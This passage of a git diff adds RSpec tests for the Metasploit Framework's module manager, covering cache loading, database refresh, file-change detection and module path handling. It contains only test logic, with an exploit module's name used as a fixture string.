Msf::Modules::Loader::Directory.any_instance.should_receive( + :load_module + ).with( + parent_path, + type, + reference_name, + :force => true + ).and_call_original + + load_cached_module + end + + context 'return from load_module' do + before(:each) do + module_manager.send(:loaders).each do |loader| + loader.stub(:load_module => module_loaded) + end + end + + context 'with false' do + let(:module_loaded) do + false + end + + it { should be_false } + end + + context 'with true' do + let(:module_loaded) do + true + end + + it { should be_true } + end + end + end + + context 'without module info in cache' do + let(:module_info_by_path) do + {} + end + + it { should be_false } + end + end + + context '#refresh_cache_from_module_files' do + before(:each) do + module_manager.stub(:framework_migrated? => framework_migrated?) + end + + context 'with framework migrated' do + let(:framework_migrated?) do + true + end + + context 'with module argument' do + def refresh_cache_from_module_files + module_manager.refresh_cache_from_module_files(module_class_or_instance) + end + + let(:module_class_or_instance) do + Class.new(Msf::Module) + end + + it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do + framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered + module_manager.should_receive(:refresh_cache_from_database).ordered + + refresh_cache_from_module_files + end + end + + context 'without module argument' do + def refresh_cache_from_module_files + module_manager.refresh_cache_from_module_files + end + + it 'should update database and then update in-memory cache from the database for all modules' do + framework.db.should_receive(:update_all_module_details).ordered + module_manager.should_receive(:refresh_cache_from_database) + + refresh_cache_from_module_files + end + end + end + + context 'without framework migrated' do + def refresh_cache_from_module_files + module_manager.refresh_cache_from_module_files + end + + let(:framework_migrated?) do + false + end + + it 'should not call Msf::DBManager#update_module_details' do + framework.db.should_not_receive(:update_module_details) + + refresh_cache_from_module_files + end + + it 'should not call Msf::DBManager#update_all_module_details' do + framework.db.should_not_receive(:update_all_module_details) + + refresh_cache_from_module_files + end + + it 'should not call #refresh_cache_from_database' do + module_manager.should_not_receive(:refresh_cache_from_database) + + refresh_cache_from_module_files + end + end + end + + context '#refresh_cache_from_database' do + def refresh_cache_from_database + module_manager.refresh_cache_from_database + end + + it 'should call #module_info_by_path_from_database!' do + module_manager.should_receive(:module_info_by_path_from_database!) + + refresh_cache_from_database + end + end + + context '#framework_migrated?' do + subject(:framework_migrated?) do + module_manager.send(:framework_migrated?) + end + + context 'with framework database' do + before(:each) do + framework.db.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + it { should be_true } + end + + context 'without migrated' do + let(:migrated) do + false + end + + it { should be_false } + end + end + + context 'without framework database' do + before(:each) do + framework.stub(:db => nil) + end + + it { should be_false } + end + end + + context '#module_info_by_path' do + it { should respond_to(:module_info_by_path) } + end + + context '#module_info_by_path=' do + it { should respond_to(:module_info_by_path=) } + end + + context '#module_info_by_path_from_database!' do + def module_info_by_path + module_manager.send(:module_info_by_path) + end + + def module_info_by_path_from_database! + module_manager.send(:module_info_by_path_from_database!) + end + + before(:each) do + module_manager.stub(:framework_migrated? => framework_migrated?) + end + + context 'with framework migrated' do + include_context 'DatabaseCleaner' + + let(:framework_migrated?) do + true + end + + before(:each) do + configurations = Metasploit::Framework::Database.configurations + spec = configurations[Metasploit::Framework.env] + + # Need to connect or ActiveRecord::Base.connection_pool will raise an + # error. + framework.db.connect(spec) + end + + it 'should call ActiveRecord::Base.connection_pool.with_connection' do + # 1st is from with_established_connection + # 2nd is from module_info_by_path_from_database! + ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times + + module_info_by_path_from_database! + end + + it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do + Mdm::Module::Detail.should_receive(:find_each) + + module_info_by_path_from_database! + end + + context 'with database cache' do + let(:parent_path) do + parent_pathname.to_path + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:path) do + pathname.to_path + end + + let(:pathname) do + parent_pathname.join( + 'exploits', + "#{reference_name}.rb" + ) + end + + let(:pathname_modification_time) do + pathname.mtime + end + + let(:type) do + 'exploit' + end + + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + # + # Let!s (let + before(:each)) + # + + let!(:mdm_module_detail) do + FactoryGirl.create(:mdm_module_detail, + :file => path, + :mtype => type, + :mtime => pathname.mtime, + :refname => reference_name + ) + end + + it 'should create cache entry for path' do + module_info_by_path_from_database! + + module_info_by_path.should have_key(path) + end + + it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do + Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original + + module_info_by_path_from_database! + end + + context 'cache entry' do + subject(:cache_entry) do + module_info_by_path[path] + end + + before(:each) do + module_info_by_path_from_database! + end + + its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) } + its([:parent_path]) { should == parent_path } + its([:reference_name]) { should == reference_name } + its([:type]) { should == type } + end + + context 'typed module set' do + let(:typed_module_set) do + module_manager.module_set(type) + end + + context 'with reference_name' do + before(:each) do + typed_module_set[reference_name] = mock('Msf::Module') + end + + it 'should not change reference_name value' do + expect { + module_info_by_path_from_database! + }.to_not change { + typed_module_set[reference_name] + } + end + end + + context 'without reference_name' do + it 'should set reference_name value to Msf::SymbolicModule' do + module_info_by_path_from_database! + + # have to use fetch because [] will trigger de-symbolization and + # instantiation. + typed_module_set.fetch(reference_name).should == Msf::SymbolicModule + end + end + end + end + end + + context 'without framework migrated' do + let(:framework_migrated?) do + false + end + + it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) } + + it 'should reset #module_info_by_path' do + # pre-fill module_info_by_path so change can be detected + module_manager.send(:module_info_by_path=, mock('In-memory Cache')) + + module_info_by_path_from_database! + + module_info_by_path.should be_empty + end + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb new file mode 100644 index 0000000000..5f51281ec2 --- /dev/null +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -0,0 +1,79 @@ +shared_examples_for 'Msf::ModuleManager::Loading' do + context '#file_changed?' do + let(:module_basename) do + [basename_prefix, '.rb'] + end + + it 'should return true if module info is not cached' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + + subject.send(:module_info_by_path)[module_path].should be_nil + subject.file_changed?(module_path).should be_true + end + end + + it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + modification_time = File.mtime(module_path) + + subject.send(:module_info_by_path)[module_path] = { + # :modification_time must match so that it is the :type that is causing the `true` and not the + # :modification_time causing the `true`. + :modification_time => modification_time, + :type => Msf::MODULE_PAYLOAD + } + + subject.file_changed?(module_path).should be_true + end + end + + context 'with cache module info and not a payload module' do + it 'should return true if the file does not exist on the file system' do + tempfile = Tempfile.new(module_basename) + module_path = tempfile.path + modification_time = File.mtime(module_path).to_i + + subject.send(:module_info_by_path)[module_path] = { + :modification_time => modification_time + } + + tempfile.unlink + + File.exist?(module_path).should be_false + subject.file_changed?(module_path).should be_true + end + + it 'should return true if modification time does not match the cached modification time' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + modification_time = File.mtime(module_path).to_i + cached_modification_time = (modification_time * rand).to_i + + subject.send(:module_info_by_path)[module_path] = { + :modification_time => cached_modification_time + } + + cached_modification_time.should_not == modification_time + subject.file_changed?(module_path).should be_true + end + end + + it 'should return false if modification time does match the cached modification time' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + modification_time = File.mtime(module_path).to_i + cached_modification_time = modification_time + + subject.send(:module_info_by_path)[module_path] = { + :modification_time => cached_modification_time + } + + cached_modification_time.should == modification_time + subject.file_changed?(module_path).should be_false + end + end + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/module_paths.rb b/spec/support/shared/examples/msf/module_manager/module_paths.rb new file mode 100644 index 0000000000..05fdc1f663 --- /dev/null +++ b/spec/support/shared/examples/msf/module_manager/module_paths.rb @@ -0,0 +1,77 @@ +shared_examples_for 'Msf::ModuleManager::ModulePaths' do + def module_paths + module_manager.send(:module_paths) + end + + context '#add_module_path' do + it 'should strip trailing File::SEPARATOR from the path' do + Dir.mktmpdir do |path| + path_with_trailing_separator = path + File::SEPARATOR + module_manager.add_module_path(path_with_trailing_separator) + + module_paths.should_not include(path_with_trailing_separator) + module_paths.should include(path) + end + end + + context 'with Fastlib archive' do + it 'should raise an ArgumentError unless the File exists' do + file = Tempfile.new(archive_basename) + # unlink will clear path, so copy it to a variable + path = file.path + file.unlink + + File.exist?(path).should be_false + + expect { + module_manager.add_module_path(path) + }.to raise_error(ArgumentError, "The path supplied does not exist") + end + + it 'should add the path to #module_paths if the File exists' do + Tempfile.open(archive_basename) do |temporary_file| + path = temporary_file.path + + File.exist?(path).should be_true + + module_manager.add_module_path(path) + + module_paths.should include(path) + end + end + end + + context 'with directory' do + it 'should add path to #module_paths' do + Dir.mktmpdir do |path| + module_manager.add_module_path(path) + + module_paths.should include(path) + end + end + + context 'containing Fastlib archives' do + it 'should add each Fastlib archive to #module_paths' do + Dir.mktmpdir do |directory| + Tempfile.open(archive_basename, directory) do |file| + module_manager.add_module_path(directory) + + module_paths.should include(directory) + module_paths.should include(file.path) + end + end + end + end + end + + context 'with other file' do + it 'should raise ArgumentError' do + Tempfile.open(basename_prefix) do |file| + expect { + subject.add_module_path(file.path) + }.to raise_error(ArgumentError, 'The path supplied is not a valid directory.') + end + end + end + end +end \ No newline at end of file